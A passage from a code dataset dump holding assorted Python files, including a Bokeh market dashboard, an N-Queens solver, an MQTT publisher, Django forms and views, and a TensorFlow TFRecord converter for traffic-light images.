'{key}\\t' + self._formatter.purple_foreground(\" Your secret key: \") + '{secret_key}'\n self._io.stdout(str_aux, self._keys.get_keys())\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 4 showing keys in console finished ...\\n\"))\n\n\n def init(self):\n self._read()\n self._encrypt_or_decrypt()\n self._save_or_show(True)\n self._save_or_show(False)\n \n","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"203025118","text":"# -*- coding: utf-8 -*-\n# @Author: youerning\n# @Email: 673125641@qq.com\nimport pandas as pd\nimport numpy as np\nfrom bokeh.plotting import figure\nfrom bokeh.core.properties import value\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.transform import dodge\nfrom bokeh.io import output_file, save\nfrom bokeh.layouts import Column\nfrom nobody.utils import load_all_hist\nfrom nobody.utils.utils import get_ts_client\nfrom nobody.settings import config\n\n\noutput_file(\"market_status.html\")\nts = get_ts_client()\nfeed = load_all_hist()\n# 上证指数\nsh_index = ts.pro_bar(ts_code='000001.SH', asset='I', start_date=config[\"START_DATE\"])\nsh_index.index = pd.to_datetime(sh_index.trade_date)\np_sh_index = figure(title=\"trend\", plot_width=800, plot_height=300, x_axis_type=\"datetime\")\np_sh_index.line(sh_index.index, sh_index.close, color='navy', alpha=0.5)\n\n\n# 最近10天的涨停跌停数量\nl10 = {}\nlimit_up = 9.5\nlimit_down = -9.5\nl10[\"x_range\"] = [dt.strftime(\"%Y-%m-%d\") for dt in sh_index.index[-10:]]\nl10[\"limit_up\"] = []\nl10[\"limit_down\"] = []\npct_chg_lst = []\n\nfor idx, dt in enumerate(l10[\"x_range\"]):\n limit_up_count = 0\n limit_down_count = 0\n\n for code, hist in feed.items():\n if dt not in hist.index:\n continue\n\n df = hist.loc[dt]\n if isinstance(df, pd.core.series.Series):\n if df.pct_chg > 9.5:\n limit_up_count += 1\n elif df.pct_chg < -9.5:\n limit_down_count += 1\n\n if idx == len(l10[\"x_range\"]) - 1:\n pct_chg_lst.append(df.pct_chg)\n\n l10[\"limit_up\"].append(limit_up_count)\n l10[\"limit_down\"].append(limit_down_count)\n\n\nsource = ColumnDataSource(data=l10)\n\np_limit_hist = figure(x_range=l10[\"x_range\"], y_range=(0, max(l10[\"limit_down\"] + l10[\"limit_up\"]) + 12),\n plot_height=350, plot_width=800, title=\"Date\",\n toolbar_location=None, tools=\"\")\n\np_limit_hist.vbar(x=dodge('x_range', -0.25, range=p_limit_hist.x_range),\n top='limit_down', width=0.2, source=source,\n color=\"#2ca25f\", legend=value(\"跌停\"))\n\np_limit_hist.vbar(x=dodge('x_range', 0.0, range=p_limit_hist.x_range),\n top='limit_up', width=0.2, source=source,\n color=\"#e84d60\", legend=value(\"涨停\"))\n\np_limit_hist.x_range.range_padding = 0.1\np_limit_hist.xgrid.grid_line_color = None\np_limit_hist.legend.location = \"top_right\"\np_limit_hist.legend.orientation = \"horizontal\"\n\n\n# 最近一天涨跌幅分布\nhist1, edges1 = np.histogram(pct_chg_lst, bins=20)\np_dist = figure(title=\"dist\", plot_width=800, plot_height=400, y_range=(0, max(hist1)))\np_dist.quad(top=hist1, bottom=0, left=edges1[:-1], right=edges1[1:],\n fill_color=\"navy\", line_color=\"white\", alpha=0.5)\n\nsave(Column(p_sh_index, p_limit_hist, p_dist))\n","sub_path":"nobody/dashboard/market_status.py","file_name":"market_status.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"234347822","text":"\nimport cmd\n\nfrom prajna.rengu.cmd import auto_help\n\n\nclass RenguRefreshCmd(cmd.Cmd):\n\n prompt = \"refresh >\"\n\n @auto_help\n def do_quit(self, args):\n return True\n\n do_EOF = do_quit\n\n @auto_help\n def do_wikipedia(self, args):\n '''wikipedia\n Subcommands to import data from yaml files\n '''\n wikipedia_cmd = RenguRefreshWikipediaCmd()\n if len(args) > 1:\n return wikipedia_cmd.onecmd(args)\n else:\n return wikipedia_cmd.cmdloop()\n\n @auto_help\n def do_worldcat(self, args):\n '''worldcat\n Subcommands to reffresh data from worldcat\n '''\n worldcat_cmd = RenguRefreshWorldcatCmd()\n if len(args) > 1:\n return worldcat_cmd.onecmd(args)\n else:\n return worldcat_cmd.cmdloop()\n\n\nclass RenguRefreshWikipediaCmd(cmd.Cmd):\n\n prompt = \"refresh wikipedia >\"\n\n @auto_help\n def do_quit(self, args):\n return True\n\n do_EOF = do_quit\n\n @auto_help\n def do_author(self, args):\n '''author\n Refresh the Wikipedia data for the author record.\n '''\n\n from prajna.rengu.author import Author\n\n for pk in args.split():\n try:\n a = Author.fetch(pk)\n ok = a.refresh_wikipedia()\n\n if ok:\n print(pk, \"OK\")\n else:\n print(pk, \"NOT FOUND\")\n\n except Exception as e:\n print(pk, \"ERROR\", e)\n\n @auto_help\n def do_source(self, args):\n '''source\n Refresh the Wikipedia data for the source record.\n '''\n\n from prajna.rengu.source import Source\n\n for pk in args.split():\n try:\n s = Source.fetch(pk)\n ok = s.refresh_wikipedia()\n\n if ok:\n print(pk, \"OK\")\n else:\n print(pk, \"NOT FOUND\")\n\n except Exception as e:\n print(pk, \"ERROR\", e)\n\n\nclass RenguRefreshWorldcatCmd(cmd.Cmd):\n\n prompt = \"refresh worldcat >\"\n\n @auto_help\n def do_quit(self, args):\n return True\n\n do_EOF = do_quit\n\n @auto_help\n def do_source(self, args):\n '''source\n Refresh the W data for the source record.\n '''\n\n from prajna.rengu.source import Source\n\n for pk in args.split():\n try:\n s = Source.fetch(pk)\n ok = s.refresh_worldcat()\n\n if ok:\n print(pk, \"OK\")\n else:\n print(pk, \"NOT FOUND\")\n\n except Exception as e:\n print(pk, \"ERROR\", e)\n","sub_path":"lib/prajna/rengu/cmd/refresh.py","file_name":"refresh.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"209171593","text":"class Solution:\n def solveNQueens(self, n):\n \"\"\"\n :type n: int\n :rtype: List[List[str]]\n \"\"\" \n final_ans = list(self.queens(n, ()))\n return len(final_ans)\n\n\n\n\n def queens(self, num, state = ()): \n for pos in range(num): \n if not self.conflict(state, pos): \n #产生当前皇后的位置信息 \n #如果只剩一个皇后没有放置 \n if len(state) == num-1: \n yield (pos,)\n #否则,把当前皇后的位置信息,添加到状态列表里,并传递给下一皇后。 \n #程序要从前面的皇后得到包含位置信息的元组(元组不可更改) \n #并要为后面的皇后提供当前皇后的每一种合法的位置信息 \n #所以把当前皇后的位置信息,添加到状态列表里,并传递给下一皇后。 \n else: \n for result in self.queens(num, state+(pos,)):\n yield (pos, ) + result\n\n\n def conflict(self, state, nextX):\n nextY = len(state)\n for i in range(nextY):\n if abs(state[i]-nextX) in (0, nextY-i):\n return True\n return False\n\n\na ","sub_path":"051Nqueen.py","file_name":"051Nqueen.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258390712","text":"val = open(\"in.txt\",\"r+\").read()\nmsg = \"\"\nfor letter in val:\n\t# If space, ignore\n\tif letter == \" \" or letter == \"\\n\":\n\t\tmsg += letter\n\t# Non case-sensitive\n\telse:\n\t\t# If a number, set that\n\t\ttry:\n\t\t\tletter = int(letter)\n\t\texcept:\n\t\t\tpass\n\t\tif isinstance(letter, int):\n\t\t\tmsg += str.format(\":{:s}:\",\n\t\t\t\t[\n\t\t\t\t\t\"zero\",\n\t\t\t\t\t\"one\",\n\t\t\t\t\t\"two\", \n\t\t\t\t\t\"three\", \n\t\t\t\t\t\"four\", \n\t\t\t\t\t\"five\", \n\t\t\t\t\t\"six\", \n\t\t\t\t\t\"seven\", \n\t\t\t\t\t\"eight\", \n\t\t\t\t\t\"nine\"\n\t\t\t\t][letter]\n\t\t\t)\n\t\t# Otherwise letter\n\t\telse:\n\t\t\tletter = letter.lower()\n\t\t\tmsg += str.format(\":regional_indicator_{:s}:\", letter)\n\tmsg += \" \"\nopen(\"out.txt\", \"w+\").write(msg)","sub_path":"DiscordEmojifier.py","file_name":"DiscordEmojifier.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168534888","text":"import random\nimport inspect, os\nfrom string import Template\nfrom IPython.display import Javascript\nfrom IPython.core.display import HTML\n\n\ndef set_styles(css_file_names):\n if type(css_file_names) == str:\n style = open('./css/' + css_file_names + '.css','r').read()\n else:\n style = ''\n for css_file_name in css_file_names:\n style += open('./css/' + css_file_name + '.css','r').read()\n return HTML(\"\")\n\n\ndef draw_graph(plot, data, params={}): #data, start=None, end=None, yaxis=None):\n id = 'plot%d' % int(random.uniform(0,9999999999))\n # we use require (not define) since we use this as main script!\n return Javascript('''\n require(['js/%s.js'], function(vis) {\n element.append(\"
    \");\n vis.plot(\"%s\", %s, %s);\n });\n ''' % (plot, id, id, data, params))\n # in this way the data does not need to go through JSON.parse(..)\n","sub_path":"loganalyser/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222397721","text":"import pybamm\n\npybamm.set_logging_level(\"INFO\")\n\nmodel = pybamm.equivalent_circuit.Thevenin()\n\nexperiment = pybamm.Experiment(\n [\n (\n \"Discharge at C/10 for 10 hours or until 3.3 V at 15oC\",\n \"Rest for 30 minutes at 15oC\",\n \"Rest for 2 hours at 35oC\",\n \"Charge at 100 A until 4.1 V at 35oC (1 second period)\",\n \"Hold at 4.1 V until 5 A at 35oC (1 seconds period)\",\n \"Rest for 30 minutes at 35oC\",\n \"Rest for 1 hour at 25oC\",\n ),\n ]\n)\n\nsim = pybamm.Simulation(model, experiment=experiment)\nsim.solve()\nsim.plot()\n","sub_path":"examples/scripts/run_ecm.py","file_name":"run_ecm.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"387108266","text":"#!/usr/bin/env python\n\nimport time\nimport sys\nimport os\nfrom blm_core import BLM\nfrom datetime import datetime\n\ndef main(argv):\n assert len(argv)==7\n interactionFpath = argv[1]\n drugKernelFpath = argv[2]\n proteinKernelFpath = argv[3]\n\n outDir = argv[4]\n xprmtType = argv[5]\n dataset = argv[6]\n\n t = datetime.now().time()\n d = datetime.now().date()\n outDir = outDir+'/xprmt-'+dataset+'-'+xprmtType+'_'+str(d)+'-'+str(t)\n\n if not os.path.exists(outDir):\n os.makedirs(outDir)\n\n blm = BLM(interactionFpath, drugKernelFpath, proteinKernelFpath)\n blm.eval(xprmtType, outDir)\n\nif __name__ == '__main__':\n start_time = time.time()\n main(sys.argv)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"drugtarget-pred/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221491932","text":"import paho.mqtt.client as paho\nimport os\nimport json\nimport time\nimport psutil\nimport numpy as np\nfrom datetime import datetime\n\nbroker = \"172.16.6.57\"\nport = 1883\ntopic = \"mqtt-test\"\nACCESS_TOKEN = \"something-secret\"\n\ndef on_publish(client, userdata, result):\n print(\"Following is the published data:\")\n pass\n\nclient_1 = paho.Client(\"control_1\")\nclient_1.on_publish = on_publish\n\nclient_1.username_pw_set(ACCESS_TOKEN)\nclient_1.connect(broker, port, keepalive=60)\n\nwhile True:\n payload = {\n \"temperature\": np.random.randint(20, 45),\n \"humidity\": np.random.randint(60, 100)\n }\n ret = client_1.publish(topic, json.dumps(payload))\n print(payload)\n time.sleep(3)\n","sub_path":"mqtt/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59934547","text":"from __future__ import division\nfrom jinja2.runtime import LoopContext, TemplateReference, Macro, Markup, TemplateRuntimeError, missing, concat, escape, markup_join, unicode_join, to_string, identity, TemplateNotFound\ndef run(environment):\n name = 'source/layouts/dev.html'\n\n def root(context, environment=environment):\n parent_template = None\n if 0: yield None\n parent_template = environment.get_template('layouts/main.html', 'source/layouts/dev.html')\n for name, parent_block in parent_template.blocks.iteritems():\n context.blocks.setdefault(name, []).append(parent_block)\n for event in parent_template.root_render_func(context):\n yield event\n\n def block_panel_content(context, environment=environment):\n if 0: yield None\n\n def block_page_title(context, environment=environment):\n if 0: yield None\n\n def block_title(context, environment=environment):\n if 0: yield None\n for event in context.blocks['page_title'][0](context):\n yield event\n yield u' - Development Console - FatCatMap'\n\n def block_panel_header(context, environment=environment):\n if 0: yield None\n\n def block_panel_header_subtext(context, environment=environment):\n if 0: yield None\n yield u\" return to --> \"\n for event in context.blocks['panel_backnav'][0](context):\n yield event\n yield u''\n\n def block_content_body(context, environment=environment):\n if 0: yield None\n yield u\"\\n\\n
    \\n\\n\\t
    \\n\\n\\t\\t
    \\n\\t\\t\\t

    \"\n for event in context.blocks['panel_header'][0](context):\n yield event\n yield u'

    '\n for event in context.blocks['panel_header_subtext'][0](context):\n yield event\n yield u\"\\n\\t\\t
    \\n\\t\\t
    \\n\\t\\t\\t\"\n for event in context.blocks['panel_content'][0](context):\n yield event\n yield u'\\n\\t\\t
    \\n\\t\\t\\n\\t
    \\n\\n
    \\t\\n'\n\n def block_panel_backnav(context, environment=environment):\n if 0: yield None\n\n blocks = {'panel_content': block_panel_content, 'page_title': block_page_title, 'title': block_title, 'panel_header': block_panel_header, 'panel_header_subtext': block_panel_header_subtext, 'content_body': block_content_body, 'panel_backnav': block_panel_backnav}\n debug_info = '1=9&15=15&3=18&12=27&5=37&12=40&15=46&12=50'\n return locals()","sub_path":"app/templates/compiled/layouts/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101964534","text":"\"\"\"\nCreate first voronoi diagram.\n\"\"\"\nimport math\nimport random\nimport turtle\nfrom datetime import datetime\nfrom turtle import Screen\nimport numpy as np\n\nwn = Screen()\nwn.setup(300, 300)\nturtle.delay(0)\ntravis = turtle.Turtle()\ntravis.hideturtle()\ntravis.speed(0)\ndef x_coordinate(r, t, shift):\n \"\"\"\n \"\"\"\n return shift + r*np.cos(t)\n\ndef y_coordinate(r, t, shift):\n return shift + r*np.sin(t)\n\ndef get_t_values(n, fraction_of_circle):\n \"\"\"\n n determines how smooth circle is.\n fraction_of_circle = 1 gives full circle\n \"\"\"\n return np.linspace(0, 2*fraction_of_circle*np.pi, n+1)\n\nt_values = get_t_values(1000, 1)\n\nfor i in range(-50, 50, 5):\n r = 50\n while r<=75:\n rand_spike_step = random.randint(0, len(t_values))\n rand_start_step = random.randint(0, len(t_values))\n for step, t in enumerate(t_values):\n\n if t == 0:\n travis.penup()\n travis.goto(x_coordinate(r, t, i), y_coordinate(r, t, i))\n\n travis.pendown()\n\n #if step in range(rand_start_step, rand_start_step+60):\n #if step == rand_start_step:\n #travis.penup()\n \n travis.goto(\n x_coordinate(\n (r+10*np.sin(10*t)), t, i), \n y_coordinate(\n (r+10*np.sin(20*t)), t, i))\n travis.pendown()\n #elif step == rand_spike_step:\n # travis.pendown()\n # travis.color('red')\n # travis.goto(x_coordinate(r+75, t), y_coordinate(r+40, t))\n # travis.penup()\n \n #else:\n if step == rand_start_step+70:\n travis.penup()\n else:\n travis.pendown()\n travis.goto(x_coordinate(r, t, i), y_coordinate(r, t, i))\n if r%2==0:\n travis.color('White')\n else:\n travis.color('Black')\n r+=3\n\nnow = datetime.today().strftime('%Y-%m-%d-%H:%M:%S')\nturtle.getcanvas().postscript(\n file=f\"circles_{now}.eps\")\nScreen().exitonclick()\n","sub_path":"circles.py","file_name":"circles.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205479823","text":"\"\"\"\nFor testing the EuXFEL backend, start the karabo server:\n\n./karabo-bridge-server-sim -d AGIPDModule -r 1234\n\nfrom the karabo-bridge (https://github.com/European-XFEL/karabo-bridge-py)\nand then start the Hummingbird backend:\n\n./hummingbird.py -b examples/euxfel/pulses/singlemodule.py\n\"\"\"\nfrom hummingbird import analysis, plotting\nfrom hummingbird.backend import add_record\n\nstate = {}\nstate['Facility'] = 'EuXFEL'\nstate['EventIsTrain'] = False\nstate['EuXFEL/DataSource'] = 'tcp://127.0.0.1:1234'\nstate['EuXFEL/DataFormat'] = 'Raw'\nstate['EuXFEL/SlowSource'] = 'tcp://127.0.0.1:1234'\nstate['EuXFEL/SelModule'] = 0 \nstate['EuXFEL/MaxTrainAge'] = 4\nstate['EuXFEL/FirstCell'] = 1\nstate['EuXFEL/LastCell'] = 100\nstate['EuXFEL/BadCells'] = [18+i*32 for i in range((state['EuXFEL/LastCell']+18)//32)]\nstate['EuXFEL/SkipNrPulses'] = 0\n\ndef onEvent(evt):\n\n #analysis.event.printKeys(evt)\n #analysis.event.printNativeKeys(evt)\n analysis.event.printProcessingRate()\n print(evt['photonPixelDetectors']['AGIPD'].data.shape)\n\n # Timestamp\n T = evt[\"eventID\"][\"Timestamp\"]\n print(T.cellId)\n\n # Read data/gain from AGIPD source\n agipd_pulse = evt['photonPixelDetectors']['AGIPD'].data[0]\n agipd_gain = evt['photonPixelDetectors']['AGIPD'].data[1]\n\n agipd_module = add_record(evt['analysis'], 'analysis', 'AGIPD', agipd_pulse)\n plotting.image.plotImage(agipd_module)\n","sub_path":"examples/euxfel/pulses/singlemodule.py","file_name":"singlemodule.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"516142929","text":"# -*- coding: utf-8 -*-\n\nfrom django import forms\nfrom django.utils.safestring import mark_safe\nfrom .models import *\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.forms import ModelForm\nfrom django.contrib.admin.widgets import FilteredSelectMultiple\n\n\nclass StoryForm(ModelForm):\n\t\"\"\"Form for users to add new stories\"\"\"\n\tTOWN_CHOICES = [(\"\", \"--Select a Town---\")]+[(t.id,t) for t in Town.objects.all()]\n\ttown = forms.ChoiceField(\n\t\t\tchoices=TOWN_CHOICES,\n\t\t\twidget=forms.Select(\n\t\t\t\tattrs={'class': 'form-control btn btn-info', 'id': 'dropdown_text',\n\t\t\t\t'style':'font-size: 15px;height: 30px; width: 30%;'})) \n\tclass Meta:\n\t\tmodel = Story\n\t\tfields = ('title', 'author', 'author_email', 'picture', 'date', 'partner','category', 'body', )\n\n\t\tlabels = {\n\t\t\t'date': _('Date'),\n\t\t\t'picture': _('Upload a picture for the story.'),\n\t\t\t'category': _('Select a Category for this Story'),\n\t\t\t'partner': _('Tell us Which of our Partners is associated with your Story'),\n\t\t}\n\t\terror_messages = {\n\t\t\t'name': {\n\t\t\t\t'max_length': _(\"This writer's name is too long.\"),\n\t\t\t},\n\t\t}\n\t\t\n\t\twidgets = {\n\t\t\t'title': forms.TextInput(attrs={'class': 'form-control', 'placeholder':'eg. Solar Energy is Saving Me a Lot of Money'}),\n\t\t\t'author': forms.TextInput(attrs={'class': 'form-control', 'placeholder':'eg. Kaat Tohn'}),\n\t\t\t'author_email': forms.TextInput(attrs={'class': 'form-control', 'placeholder':'eg. kaat@gmail.com'}),\n\t\t\t'body': forms.Textarea(attrs={'class': 'form-control','placeholder':'Type Full Description of Story'}),\n\t\t\t'date': forms.SelectDateWidget(attrs={'class': 'btn btn-info', 'style':'width: 30%;'}),\n\t\t\t'partner': forms.Select(attrs={'class': 'form-control btn btn-info', 'style':'font-size: 15px;height: 30px;'}),\n\t\t\t'category': forms.Select(attrs={'class': 'form-control btn btn-info', 'style':'font-size: 15px;height: 30px;'}),\n\t\t}\n\n\nclass HomePageForm(forms.Form):\n\t\"\"\"Form that is filled on the front page to determine what shows up on the actions page\"\"\"\n\tTOWN_CHOICES = [(\"\", \"--Select your Town---\")]+[(t.name,t) for t in Town.objects.all()]\n\ttown = forms.ChoiceField(label=\"\", help_text=\"\",\n choices=TOWN_CHOICES,\n\t\t\twidget=forms.Select(\n\t\t\t\tattrs={'class': 'form-control btn btn-success', 'id': 'dropdown_text',\n\t\t\t\t'style':'font-size: 15px;height: 30px;'})) \n\n\nclass MailListForm(ModelForm):\n\t\"\"\"MailList Form\"\"\"\n\tclass Meta:\n\t\tmodel = Subscriber\n\t\tfields = ('name', 'email','town')\t\n\t\twidgets = {\n\t\t\t'name': forms.TextInput(attrs={'class': 'form-control', 'placeholder':'eg. Samuel Watson'}),\n\t\t\t'email': forms.TextInput(attrs={'class': 'form-control', 'placeholder':'eg. samuel.watson@gmail.com'}),\n\t\t\t'town': forms.Select(attrs={'class': 'form-control btn btn-primary', 'style':'font-size: 15px;height: 30px;'}),\n\t\t}\n\nclass ActionSubmissionForm(forms.Form):\n\tTOWN_CHOICES = [(\"\", \"--Select a Town---\")]+[(t.id,t) for t in Town.objects.all()]\n\ttown = forms.ChoiceField(label = 'Choose your town', \n\t\t\tchoices=TOWN_CHOICES,\n\t\t\twidget=forms.Select(\n\t\t\t\tattrs={'class': 'form-control btn btn-warning', 'id': 'dropdown_text',\n\t\t\t\t'style':'font-size: 15px;height: 30px; width: 30%;'})) \n\n","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385284531","text":"\"\"\"empty message\n\nRevision ID: 066878ade063\nRevises: \nCreate Date: 2019-12-19 20:10:23.019692\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '066878ade063'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('flask1219',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('username', sa.String(length=20), nullable=True),\n sa.Column('password', sa.String(length=32), nullable=False),\n sa.Column('age', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_flask1219_username'), 'flask1219', ['username'], unique=True)\n op.drop_index('ix_student_name', table_name='student')\n op.drop_table('student')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('student',\n sa.Column('id', mysql.INTEGER(display_width=11), autoincrement=True, nullable=False),\n sa.Column('name', mysql.VARCHAR(length=20), nullable=True),\n sa.Column('gender', mysql.VARCHAR(length=20), nullable=True),\n sa.Column('chinese', mysql.FLOAT(), nullable=True),\n sa.Column('math', mysql.FLOAT(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n mysql_default_charset='utf8',\n mysql_engine='InnoDB'\n )\n op.create_index('ix_student_name', 'student', ['name'], unique=True)\n op.drop_index(op.f('ix_flask1219_username'), table_name='flask1219')\n op.drop_table('flask1219')\n # ### end Alembic commands ###\n","sub_path":"flask1219/migrations/versions/066878ade063_.py","file_name":"066878ade063_.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176479717","text":"from typing import List, Dict, Any\nfrom threatspec import data\n\nclass Project():\n def __init__(self, name: str = \"\", description: str = \"\"):\n self.name = name\n self.description = description\n\nclass Path():\n def __init__(self, obj):\n self.path = \"\"\n self.ignore = \"\"\n\n if isinstance(obj, str):\n self.path = obj\n elif isinstance(obj, dict):\n if \"path\" not in obj:\n raise ValueError(\"path key missing from path\")\n self.path = obj[\"path\"]\n if \"ignore\" in obj:\n if isinstance(obj[\"ignore\"], str):\n self.ignore = [obj[\"ignore\"]]\n elif isinstance(obj[\"ignore\"], list):\n self.ignore = obj[\"ignore\"]\n else:\n raise TypeError(\"ignore must be a string or list\")\n\nclass Config():\n def __init__(self):\n self.project = None\n self.paths = []\n\n def load(self, data):\n self.project = Project(data[\"project\"][\"name\"], data[\"project\"][\"description\"])\n for path in data[\"paths\"]:\n self.paths.append(Path(path))","sub_path":"threatspec/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"144332132","text":"import tensorflow as tf\nfrom object_detection.utils import dataset_util\nfrom object_detection.utils import label_map_util\nimport yaml\nimport os\nimport cv2\nfrom tqdm import tqdm\nfrom random import random\n\nTRESHOLD_WIDTH = 10 # we ignore traffic lights that are too small\n\nflags = tf.app.flags\nflags.DEFINE_string('input_yaml', '', 'Path to input yaml')\nflags.DEFINE_string('output_path', '', 'Path to output TFRecord')\nflags.DEFINE_string('label_map_path', '', 'Path to label map')\nFLAGS = flags.FLAGS\n\n\ndef get_all(input_yaml):\n \"\"\" Gets all labels within label file\n\n Note that RGB images are 1280x720\n :param input_yaml: Path to yaml file\n :return: images: Labels for traffic lights\n \"\"\"\n images = yaml.load(open(input_yaml, 'rb').read())\n for i in range(len(images)):\n if 'test' in input_yaml:\n images[i]['path'] = os.path.abspath(os.path.join(os.path.dirname(input_yaml),\n 'rgb', 'test', os.path.basename(images[i]['path'])))\n else:\n images[i]['path'] = os.path.abspath(os.path.join(os.path.dirname(input_yaml), images[i]['path']))\n return images\n\n\n\n\n\ndef create_tf_example(example, label_map):\n height = 720 # Image height\n width = 1280 # Image width\n filename = example['path']\n with tf.gfile.GFile(filename, 'rb') as fid:\n encoded_image_data = fid.read()\n\n image_format = b'png' \n \n boxes = example['boxes']\n \n xmins = [] \n xmaxs = [] \n \n ymins = [] \n ymaxs = [] \n \n classes_text = [] \n classes = [] \n\n has_yellow = False # yellow samples are rare this flag will prevent random dropping \n\n for box in boxes:\n bw = box['x_max'] - box['x_min']\n bh = box['y_max'] - box['y_min']\n \n # consider small boxes as invalid\n if bw < TRESHOLD_WIDTH or box['label'] == 'off':\n continue\n \n xmins.append(box['x_min']/width)\n xmaxs.append(box['x_max']/width)\n ymins.append(box['y_min']/height)\n ymaxs.append(box['y_max']/height)\n text = box['label'] \n if 'Green' in text:\n classes_text.append(b'Green')\n classes.append(label_map['Green'])\n elif 'Red' in text:\n classes_text.append(b'Red')\n classes.append(label_map['Red'])\n elif 'Yellow' in text:\n has_yellow = True\n classes_text.append(b'Yellow')\n classes.append(label_map['Yellow'])\n\n # the not_to_keep condition \n # 1. randomly drop no-detection samples by a chance \n # 2. radnomly drop samples with no yellow \n not_to_keep = (not has_yellow and random() > 0.7) or \\\n (len(xmins) == 0 and random() > 0.2)\n if not_to_keep:\n return None \n \n tf_example = tf.train.Example(features=tf.train.Features(feature={\n 'image/height': dataset_util.int64_feature(height),\n 'image/width': dataset_util.int64_feature(width),\n 'image/filename': dataset_util.bytes_feature(filename.encode('utf8')),\n 'image/source_id': dataset_util.bytes_feature(filename.encode('utf8')),\n 'image/encoded': dataset_util.bytes_feature(encoded_image_data),\n 'image/format': dataset_util.bytes_feature(image_format),\n 'image/object/bbox/xmin': dataset_util.float_list_feature(xmins),\n 'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs),\n 'image/object/bbox/ymin': dataset_util.float_list_feature(ymins),\n 'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs),\n 'image/object/class/text': dataset_util.bytes_list_feature(classes_text),\n 'image/object/class/label': dataset_util.int64_list_feature(classes),\n }))\n return (tf_example, has_yellow)\n\n\n\n\ndef main(_):\n writer = tf.python_io.TFRecordWriter(FLAGS.output_path)\n label_map = label_map_util.get_label_map_dict(FLAGS.label_map_path)\n examples = get_all(FLAGS.input_yaml)\n \n for example in tqdm(examples):\n example_tup = create_tf_example(example, label_map)\n if example_tup:\n tf_example, has_yellow = example_tup\n Duplicate_times = 10 if has_yellow else 1\n for _ in range(Duplicate_times):\n writer.write(tf_example.SerializeToString())\n \n\n writer.close()\n\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"classifier_utils/bosch_lights_to_tf_record.py","file_name":"bosch_lights_to_tf_record.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"33489264","text":"from django.views import View\nfrom django.shortcuts import render,HttpResponse,redirect\nfrom django.core.paginator import Paginator,PageNotAnInteger,EmptyPage\nfrom Admin.models import Comment as mComment\nimport json\nfrom urllib import parse\nclass Comment(View):\n def get(self,request):\n v = request.session.get('is_login', None)\n if not v:\n return redirect('/admin/login')\n searchName=request.COOKIES.get('searchName',None)\n if not searchName:\n comment=mComment.objects.all().values('id','content','username','email','status','add_time','a__title')\n else:\n comment=mComment.objects.filter(a__title=parse.unquote(searchName)).values('id','content','username','email','status','add_time','a__title')\n pagesize=request.COOKIES.get('pagesize')\n if not pagesize:\n pagesize=2\n page=request.GET.get('page',None)\n paginator=Paginator(comment,pagesize)\n count=comment.count()\n try:\n contacts=paginator.page(page)\n except PageNotAnInteger as e:\n contacts=paginator.page(1)\n except EmptyPage as e:\n contacts=paginator.page(Paginator.num_pages)\n return render(request,'Admin/comment.html',{'comment':contacts,'count':count})\n\n\ndef comment_changestate(request,id,status):\n result=mComment.objects.filter(id=id).update(status=status)\n ret={'status':True,'msg':'修改成功'}\n return HttpResponse(json.dumps(ret))\n\ndef comment_delete(request,id):\n result=mComment.objects.filter(id=id).delete()\n ret = {'status': True, 'msg': '删除成功'}\n return 